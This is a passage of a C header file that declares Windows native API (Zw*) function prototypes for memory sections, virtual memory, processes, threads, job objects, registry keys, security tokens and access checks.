OUT PVOID Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesRead ); NTSTATUS NTAPI ZwWriteRequestData( IN HANDLE PortHandle, IN PPORT_MESSAGE Message, IN ULONG DataEntryIndex, IN PVOID Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesWritten ); NTSTATUS NTAPI ZwQueryInformationPort( IN HANDLE PortHandle, IN PORT_INFORMATION_CLASS PortInformationClass, OUT PVOID PortInformation, IN ULONG Length, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwCreateSection ( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, IN OPTIONAL PLARGE_INTEGER MaximumSize, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, IN OPTIONAL HANDLE FileHandle ); NTSTATUS NTAPI ZwOpenSection ( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwMapViewOfSection ( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, IN ULONG_PTR ZeroBits, IN SIZE_T CommitSize, _Inout_ OPTIONAL PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize, IN SECTION_INHERIT InheritDisposition, IN ULONG AllocationType, IN ULONG Win32Protect ); NTSTATUS NTAPI ZwUnmapViewOfSection ( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); NTSTATUS NTAPI ZwExtendSection ( IN HANDLE SectionHandle, _Inout_ PLARGE_INTEGER NewSectionSize ); NTSTATUS NTAPI ZwAreMappedFilesTheSame ( IN PVOID File1MappedAsAnImage, IN PVOID File2MappedAsFile ); NTSTATUS NTAPI ZwAllocateVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, IN ULONG_PTR ZeroBits, _Inout_ PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect ); NTSTATUS NTAPI ZwFreeVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG FreeType ); NTSTATUS NTAPI ZwReadVirtualMemory ( IN HANDLE ProcessHandle, IN OPTIONAL PVOID BaseAddress, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesRead ); NTSTATUS NTAPI ZwWriteVirtualMemory ( IN HANDLE ProcessHandle, IN OPTIONAL PVOID BaseAddress, IN CONST VOID *Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesWritten ); NTSTATUS NTAPI ZwFlushVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, OUT PIO_STATUS_BLOCK IoStatus ); NTSTATUS NTAPI ZwLockVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG MapType ); NTSTATUS NTAPI ZwUnlockVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG MapType ); NTSTATUS NTAPI ZwProtectVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect ); NTSTATUS NTAPI ZwQueryVirtualMemory ( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN MEMORY_INFORMATION_CLASS MemoryInformationClass, OUT PVOID MemoryInformation, IN SIZE_T MemoryInformationLength, OUT OPTIONAL PSIZE_T ReturnLength ); NTSTATUS NTAPI ZwQuerySection ( IN HANDLE SectionHandle, IN SECTION_INFORMATION_CLASS SectionInformationClass, OUT PVOID SectionInformation, IN SIZE_T SectionInformationLength, OUT OPTIONAL PSIZE_T ReturnLength ); NTSTATUS NTAPI ZwMapUserPhysicalPages ( IN PVOID VirtualAddress, IN ULONG_PTR NumberOfPages, IN OPTIONAL PULONG_PTR UserPfnArray ); NTSTATUS NTAPI ZwMapUserPhysicalPagesScatter ( IN PVOID *VirtualAddresses, IN ULONG_PTR NumberOfPages, IN OPTIONAL PULONG_PTR UserPfnArray ); NTSTATUS NTAPI ZwAllocateUserPhysicalPages ( IN HANDLE ProcessHandle, _Inout_ PULONG_PTR NumberOfPages, OUT PULONG_PTR UserPfnArray ); NTSTATUS NTAPI ZwFreeUserPhysicalPages ( IN HANDLE ProcessHandle, _Inout_ PULONG_PTR NumberOfPages, IN PULONG_PTR UserPfnArray ); NTSTATUS NTAPI ZwGetWriteWatch ( IN HANDLE ProcessHandle, IN ULONG Flags, IN PVOID BaseAddress, IN SIZE_T RegionSize, OUT PVOID *UserAddressArray, _Inout_ PULONG_PTR EntriesInUserAddressArray, OUT PULONG Granularity ); NTSTATUS NTAPI ZwResetWriteWatch ( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN SIZE_T RegionSize ); NTSTATUS NTAPI ZwCreatePagingFile ( IN PUNICODE_STRING PageFileName, IN PLARGE_INTEGER MinimumSize, IN PLARGE_INTEGER MaximumSize, IN ULONG Priority ); NTSTATUS NTAPI ZwFlushInstructionCache ( IN HANDLE ProcessHandle, IN OPTIONAL PVOID BaseAddress, IN SIZE_T Length ); NTSTATUS NTAPI ZwFlushWriteBuffer ( VOID ); NTSTATUS NTAPI ZwQueryObject ( IN HANDLE Handle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, OUT PVOID ObjectInformation, IN ULONG ObjectInformationLength, OUT PULONG ReturnLength ); NTSTATUS NTAPI ZwSetInformationObject ( IN HANDLE Handle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, IN PVOID ObjectInformation, IN ULONG ObjectInformationLength ); NTSTATUS NTAPI ZwDuplicateObject ( IN HANDLE SourceProcessHandle, IN HANDLE SourceHandle, IN OPTIONAL HANDLE TargetProcessHandle, OUT PHANDLE TargetHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Options ); NTSTATUS NTAPI ZwMakeTemporaryObject ( IN HANDLE Handle ); NTSTATUS NTAPI ZwMakePermanentObject ( IN HANDLE Handle ); NTSTATUS NTAPI ZwSignalAndWaitForSingleObject ( IN HANDLE SignalHandle, IN HANDLE WaitHandle, IN BOOLEAN Alertable, IN OPTIONAL PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwWaitForSingleObject ( IN HANDLE Handle, IN BOOLEAN Alertable, IN OPTIONAL PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwWaitForMultipleObjects ( IN ULONG Count, IN HANDLE Handles[], IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, IN OPTIONAL PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwWaitForMultipleObjects32 ( IN ULONG Count, IN LONG Handles[], IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, IN OPTIONAL PLARGE_INTEGER Timeout ); NTSTATUS NTAPI ZwSetSecurityObject ( IN HANDLE Handle, IN SECURITY_INFORMATION SecurityInformation, IN PSECURITY_DESCRIPTOR SecurityDescriptor ); NTSTATUS NTAPI ZwQuerySecurityObject ( IN HANDLE Handle, IN SECURITY_INFORMATION SecurityInformation, OUT PSECURITY_DESCRIPTOR SecurityDescriptor, IN ULONG Length, OUT PULONG LengthNeeded ); NTSTATUS NTAPI ZwClose ( IN HANDLE Handle ); NTSTATUS NTAPI ZwCreateDirectoryObject ( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwOpenDirectoryObject ( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwQueryDirectoryObject ( IN HANDLE DirectoryHandle, OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN BOOLEAN RestartScan, _Inout_ PULONG Context, OUT PULONG ReturnLength ); NTSTATUS NTAPI ZwCreateSymbolicLinkObject ( OUT PHANDLE LinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PUNICODE_STRING LinkTarget ); NTSTATUS NTAPI ZwOpenSymbolicLinkObject ( OUT PHANDLE LinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwQuerySymbolicLinkObject ( IN HANDLE LinkHandle, _Inout_ PUNICODE_STRING LinkTarget, OUT PULONG ReturnedLength ); NTSTATUS NTAPI ZwGetPlugPlayEvent ( IN HANDLE EventHandle, IN OPTIONAL PVOID Context, OUT PPLUGPLAY_EVENT_BLOCK EventBlock, IN ULONG EventBufferSize ); NTSTATUS NTAPI ZwPlugPlayControl( IN PLUGPLAY_CONTROL_CLASS PnPControlClass, _Inout_ PVOID PnPControlData, IN ULONG PnPControlDataLength ); NTSTATUS NTAPI ZwPowerInformation( IN POWER_INFORMATION_LEVEL InformationLevel, IN OPTIONAL PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSTATUS NTAPI ZwSetThreadExecutionState( IN EXECUTION_STATE esFlags, // ES_xxx flags OUT EXECUTION_STATE *PreviousFlags ); NTSTATUS NTAPI ZwRequestWakeupLatency( IN LATENCY_TIME latency ); // NTSTATUS // NTAPI // ZwInitiatePowerAction( // IN POWER_ACTION SystemAction, // IN SYSTEM_POWER_STATE MinSystemState, // IN ULONG Flags, // POWER_ACTION_xxx flags // IN BOOLEAN Asynchronous // ); // NTSTATUS // NTAPI // ZwSetSystemPowerState( // IN POWER_ACTION SystemAction, // IN SYSTEM_POWER_STATE MinSystemState, // IN ULONG Flags // POWER_ACTION_xxx flags // ); // NTSTATUS // NTAPI // ZwGetDevicePowerState( // IN HANDLE Device, // OUT DEVICE_POWER_STATE *State // ); NTSTATUS NTAPI ZwCancelDeviceWakeupRequest( IN HANDLE Device ); NTSTATUS NTAPI ZwRequestDeviceWakeup( IN HANDLE Device ); NTSTATUS NTAPI ZwCreateProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ParentProcess, IN BOOLEAN InheritObjectTable, IN OPTIONAL HANDLE SectionHandle, IN OPTIONAL HANDLE DebugPort, IN OPTIONAL HANDLE ExceptionPort ); NTSTATUS NTAPI ZwCreateProcessEx ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ParentProcess, IN ULONG Flags, IN OPTIONAL HANDLE SectionHandle, IN OPTIONAL HANDLE DebugPort, IN OPTIONAL HANDLE ExceptionPort, IN ULONG JobMemberLevel ); NTSTATUS NTAPI ZwOpenProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN OPTIONAL PCLIENT_ID ClientId ); NTSTATUS NTAPI ZwTerminateProcess ( IN OPTIONAL HANDLE ProcessHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI ZwQueryInformationProcess ( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwGetNextProcess ( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Flags, OUT PHANDLE NewProcessHandle ); NTSTATUS NTAPI ZwGetNextThread ( IN HANDLE ProcessHandle, IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Flags, OUT PHANDLE NewThreadHandle ); NTSTATUS NTAPI ZwQueryPortInformationProcess ( VOID ); NTSTATUS NTAPI ZwSetInformationProcess ( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, IN PVOID ProcessInformation, IN ULONG ProcessInformationLength ); NTSTATUS NTAPI ZwCreateThread ( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ProcessHandle, OUT PCLIENT_ID ClientId, IN PCONTEXT ThreadContext, IN PINITIAL_TEB InitialTeb, IN BOOLEAN CreateSuspended ); NTSTATUS NTAPI ZwOpenThread ( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN OPTIONAL PCLIENT_ID ClientId ); NTSTATUS NTAPI ZwTerminateThread ( IN OPTIONAL HANDLE ThreadHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI ZwSuspendThread ( IN HANDLE ThreadHandle, OUT OPTIONAL PULONG PreviousSuspendCount ); NTSTATUS NTAPI ZwResumeThread ( IN HANDLE ThreadHandle, OUT OPTIONAL PULONG PreviousSuspendCount ); NTSTATUS NTAPI ZwSuspendProcess ( IN HANDLE ProcessHandle ); NTSTATUS NTAPI ZwResumeProcess ( IN HANDLE ProcessHandle ); NTSTATUS NTAPI ZwGetContextThread ( IN HANDLE ThreadHandle, _Inout_ PCONTEXT ThreadContext ); NTSTATUS NTAPI ZwSetContextThread ( IN HANDLE ThreadHandle, IN PCONTEXT ThreadContext ); NTSTATUS NTAPI ZwQueryInformationThread ( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwSetInformationThread ( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, IN PVOID ThreadInformation, IN ULONG ThreadInformationLength ); NTSTATUS NTAPI ZwAlertThread ( IN HANDLE ThreadHandle ); NTSTATUS NTAPI ZwAlertResumeThread ( IN HANDLE ThreadHandle, OUT OPTIONAL PULONG PreviousSuspendCount ); NTSTATUS NTAPI ZwImpersonateThread ( IN HANDLE ServerThreadHandle, IN HANDLE ClientThreadHandle, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos ); NTSTATUS NTAPI ZwTestAlert ( VOID ); NTSTATUS NTAPI ZwRegisterThreadTerminatePort ( IN HANDLE PortHandle ); NTSTATUS NTAPI ZwSetLdtEntries ( IN ULONG Selector0, IN ULONG Entry0Low, IN ULONG Entry0Hi, IN ULONG Selector1, IN ULONG Entry1Low, IN ULONG Entry1Hi ); NTSTATUS NTAPI ZwQueueApcThread ( IN HANDLE ThreadHandle, IN PPS_APC_ROUTINE ApcRoutine, IN OPTIONAL PVOID ApcArgument1, IN OPTIONAL PVOID ApcArgument2, IN OPTIONAL PVOID ApcArgument3 ); NTSTATUS NTAPI ZwCreateJobObject ( OUT PHANDLE JobHandle, IN ACCESS_MASK DesiredAccess, IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwOpenJobObject ( OUT PHANDLE JobHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwAssignProcessToJobObject ( IN HANDLE JobHandle, IN HANDLE ProcessHandle ); NTSTATUS NTAPI ZwTerminateJobObject ( IN HANDLE JobHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI ZwIsProcessInJob ( IN HANDLE ProcessHandle, IN OPTIONAL HANDLE JobHandle ); NTSTATUS NTAPI ZwCreateJobSet ( IN ULONG NumJob, IN PJOB_SET_ARRAY UserJobSet, IN ULONG Flags ); NTSTATUS NTAPI ZwQueryInformationJobObject ( IN OPTIONAL HANDLE JobHandle, IN JOBOBJECTINFOCLASS JobObjectInformationClass, OUT PVOID JobObjectInformation, IN ULONG JobObjectInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwSetInformationJobObject ( IN HANDLE JobHandle, IN JOBOBJECTINFOCLASS JobObjectInformationClass, IN PVOID JobObjectInformation, IN ULONG JobObjectInformationLength ); NTSTATUS NTAPI ZwCreateKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, ULONG TitleIndex, IN OPTIONAL PUNICODE_STRING Class, IN ULONG CreateOptions, OUT OPTIONAL PULONG Disposition ); NTSTATUS NTAPI ZwDeleteKey( IN HANDLE KeyHandle ); NTSTATUS NTAPI ZwDeleteValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName ); NTSTATUS NTAPI ZwEnumerateKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT OPTIONAL PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI ZwEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT OPTIONAL PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI ZwFlushKey( IN HANDLE KeyHandle ); NTSTATUS NTAPI ZwInitializeRegistry( IN USHORT BootCondition ); NTSTATUS NTAPI ZwNotifyChangeKey( IN HANDLE KeyHandle, IN OPTIONAL HANDLE Event, IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, IN OPTIONAL PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CompletionFilter, IN BOOLEAN WatchTree, OUT OPTIONAL PVOID Buffer, IN ULONG BufferSize, IN BOOLEAN Asynchronous ); NTSTATUS NTAPI ZwNotifyChangeMultipleKeys( IN HANDLE MasterKeyHandle, IN OPTIONAL ULONG Count, IN OPTIONAL OBJECT_ATTRIBUTES SlaveObjects[], IN OPTIONAL HANDLE Event, IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, IN OPTIONAL PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CompletionFilter, IN BOOLEAN WatchTree, OUT OPTIONAL PVOID Buffer, IN ULONG BufferSize, IN BOOLEAN Asynchronous ); NTSTATUS NTAPI ZwLoadKey( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile ); NTSTATUS NTAPI ZwLoadKey2( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile, IN ULONG Flags ); NTSTATUS NTAPI ZwLoadKeyEx( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile, IN ULONG Flags, IN OPTIONAL HANDLE TrustClassKey ); NTSTATUS NTAPI ZwOpenKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI ZwQueryKey( IN HANDLE KeyHandle, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT OPTIONAL PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI ZwQueryValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT OPTIONAL PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI ZwQueryMultipleValueKey( IN HANDLE KeyHandle, _Inout_ PKEY_VALUE_ENTRY ValueEntries, IN ULONG EntryCount, OUT PVOID ValueBuffer, _Inout_ PULONG BufferLength, OUT OPTIONAL PULONG RequiredBufferLength ); NTSTATUS NTAPI ZwReplaceKey( IN POBJECT_ATTRIBUTES NewFile, IN HANDLE TargetHandle, IN POBJECT_ATTRIBUTES OldFile ); NTSTATUS NTAPI ZwRenameKey( IN HANDLE KeyHandle, IN PUNICODE_STRING NewName ); NTSTATUS NTAPI ZwCompactKeys( IN ULONG Count, IN HANDLE KeyArray[] ); NTSTATUS NTAPI ZwCompressKey( IN HANDLE Key ); NTSTATUS NTAPI ZwRestoreKey( IN HANDLE KeyHandle, IN HANDLE FileHandle, IN ULONG Flags ); NTSTATUS NTAPI ZwSaveKey( IN HANDLE KeyHandle, IN HANDLE FileHandle ); NTSTATUS NTAPI ZwSaveKeyEx( IN HANDLE KeyHandle, IN HANDLE FileHandle, IN ULONG Format ); NTSTATUS NTAPI ZwSaveMergedKeys( IN HANDLE HighPrecedenceKeyHandle, IN HANDLE LowPrecedenceKeyHandle, IN HANDLE FileHandle ); NTSTATUS NTAPI ZwSetValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, IN OPTIONAL ULONG TitleIndex, IN ULONG Type, IN OPTIONAL PVOID Data, IN ULONG DataSize ); NTSTATUS NTAPI ZwUnloadKey( IN POBJECT_ATTRIBUTES TargetKey ); NTSTATUS NTAPI ZwUnloadKey2( IN POBJECT_ATTRIBUTES TargetKey, IN ULONG Flags ); NTSTATUS NTAPI ZwUnloadKeyEx( IN POBJECT_ATTRIBUTES TargetKey, IN OPTIONAL HANDLE Event ); NTSTATUS NTAPI ZwSetInformationKey( IN HANDLE KeyHandle, IN KEY_SET_INFORMATION_CLASS KeySetInformationClass, IN PVOID KeySetInformation, IN ULONG KeySetInformationLength ); NTSTATUS NTAPI ZwQueryOpenSubKeys( IN POBJECT_ATTRIBUTES TargetKey, OUT PULONG HandleCount ); NTSTATUS NTAPI ZwQueryOpenSubKeysEx( IN POBJECT_ATTRIBUTES TargetKey, IN ULONG BufferLength, OUT PVOID Buffer, OUT PULONG RequiredSize ); NTSTATUS NTAPI ZwLockRegistryKey( IN HANDLE KeyHandle ); NTSTATUS NTAPI ZwLockProductActivationKeys( _Inout_opt_ ULONG *pPrivateVer, OUT OPTIONAL ULONG *pSafeMode ); NTSTATUS NTAPI ZwAccessCheck ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); NTSTATUS NTAPI ZwAccessCheckByType ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN OPTIONAL PSID PrincipalSelfSid, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); NTSTATUS NTAPI ZwAccessCheckByTypeResultList ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN OPTIONAL PSID PrincipalSelfSid, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); NTSTATUS NTAPI ZwCreateToken( OUT PHANDLE TokenHandle, IN ACCESS_MASK DesiredAccess, IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, IN TOKEN_TYPE TokenType, IN PLUID AuthenticationId, IN PLARGE_INTEGER ExpirationTime, IN PTOKEN_USER User, IN PTOKEN_GROUPS Groups, IN PTOKEN_PRIVILEGES Privileges, IN OPTIONAL PTOKEN_OWNER Owner, IN PTOKEN_PRIMARY_GROUP PrimaryGroup, IN OPTIONAL PTOKEN_DEFAULT_DACL DefaultDacl, IN PTOKEN_SOURCE TokenSource ); NTSTATUS NTAPI ZwCompareTokens( IN HANDLE FirstTokenHandle, IN HANDLE SecondTokenHandle, OUT PBOOLEAN Equal ); NTSTATUS NTAPI ZwOpenThreadToken( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI ZwOpenThreadTokenEx( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, IN ULONG HandleAttributes, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI ZwOpenProcessToken( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI ZwOpenProcessTokenEx( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI ZwDuplicateToken( IN HANDLE ExistingTokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN EffectiveOnly, IN TOKEN_TYPE TokenType, OUT PHANDLE NewTokenHandle ); NTSTATUS NTAPI ZwFilterToken ( IN HANDLE ExistingTokenHandle, IN ULONG Flags, IN OPTIONAL PTOKEN_GROUPS SidsToDisable, IN OPTIONAL PTOKEN_PRIVILEGES PrivilegesToDelete, IN OPTIONAL PTOKEN_GROUPS RestrictedSids, OUT PHANDLE NewTokenHandle ); NTSTATUS NTAPI ZwImpersonateAnonymousToken( IN HANDLE ThreadHandle ); NTSTATUS NTAPI ZwQueryInformationToken ( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, OUT PVOID TokenInformation, IN ULONG TokenInformationLength, OUT PULONG ReturnLength ); NTSTATUS NTAPI ZwSetInformationToken ( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, IN PVOID TokenInformation, IN ULONG TokenInformationLength ); NTSTATUS NTAPI ZwAdjustPrivilegesToken ( IN HANDLE TokenHandle, IN BOOLEAN DisableAllPrivileges, IN OPTIONAL PTOKEN_PRIVILEGES NewState, IN OPTIONAL ULONG BufferLength, OUT PTOKEN_PRIVILEGES PreviousState, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI ZwAdjustGroupsToken ( IN HANDLE TokenHandle, IN BOOLEAN ResetToDefault, IN PTOKEN_GROUPS NewState , IN OPTIONAL ULONG BufferLength , OUT PTOKEN_GROUPS PreviousState , OUT PULONG ReturnLength ); NTSTATUS NTAPI ZwPrivilegeCheck ( IN HANDLE ClientToken, _Inout_ PPRIVILEGE_SET RequiredPrivileges, OUT PBOOLEAN Result ); NTSTATUS NTAPI ZwAccessCheckAndAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN ACCESS_MASK DesiredAccess, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI ZwAccessCheckByTypeAndAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN OPTIONAL PSID PrincipalSelfSid, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI ZwAccessCheckByTypeResultListAndAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN OPTIONAL PSID PrincipalSelfSid, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI ZwAccessCheckByTypeResultListAndAuditAlarmByHandle ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN HANDLE ClientToken, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN OPTIONAL PSID PrincipalSelfSid, IN ACCESS_MASK DesiredAccess, IN AUDIT_EVENT_TYPE AuditType, IN ULONG Flags, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, IN BOOLEAN ObjectCreation, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus, OUT PBOOLEAN GenerateOnClose ); NTSTATUS NTAPI ZwOpenObjectAuditAlarm ( IN PUNICODE_STRING SubsystemName, IN OPTIONAL PVOID HandleId, IN PUNICODE_STRING ObjectTypeName, IN PUNICODE_STRING ObjectName, IN OPTIONAL PSECURITY_DESCRIPTOR SecurityDescriptor, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN ACCESS_MASK GrantedAccess, IN OPTIONAL PPRIVILEGE_SET Privileges, IN BOOLEAN ObjectCreation, IN BOOLEAN AccessGranted, OUT 